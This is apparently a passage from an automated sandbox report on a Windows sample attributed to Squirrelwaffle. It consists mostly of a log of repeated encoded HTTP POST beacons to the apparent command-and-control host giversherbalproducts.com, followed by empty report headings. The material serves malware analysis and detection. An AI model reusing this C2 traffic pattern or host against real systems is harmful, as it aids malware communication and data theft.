Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HDN9NScAAw8PKwEFMi0/JTI5PEZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DClzfTsJDgA/AicrERgXCHsERX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwECwQhMhk+BQkuH38nHQUtIy4GLwpFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DClzfTsJDgA/AicrERgXCHsERX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GB0tLyckQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwECwQhMhk+BQkuH38nHQUtIy4GLwpFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwSFkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GB0tLyckQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fSkCegETcg8VKw95Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwSFkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ITIYRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fSkCegETcg8VKw95Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ITIYRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DCwZNSYnBRJFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MyYYFB8/BgEuIANyGHgkPAMsGDcYQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DCwZNSYnBRJFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MyYYFB8/BgEuIANyGHgkPAMsGDcYQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KQsyKkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hh8fPwgIJRkuIzgrOjp5HjovOkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw:

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report test2.test

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Squirrelwaffle

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking: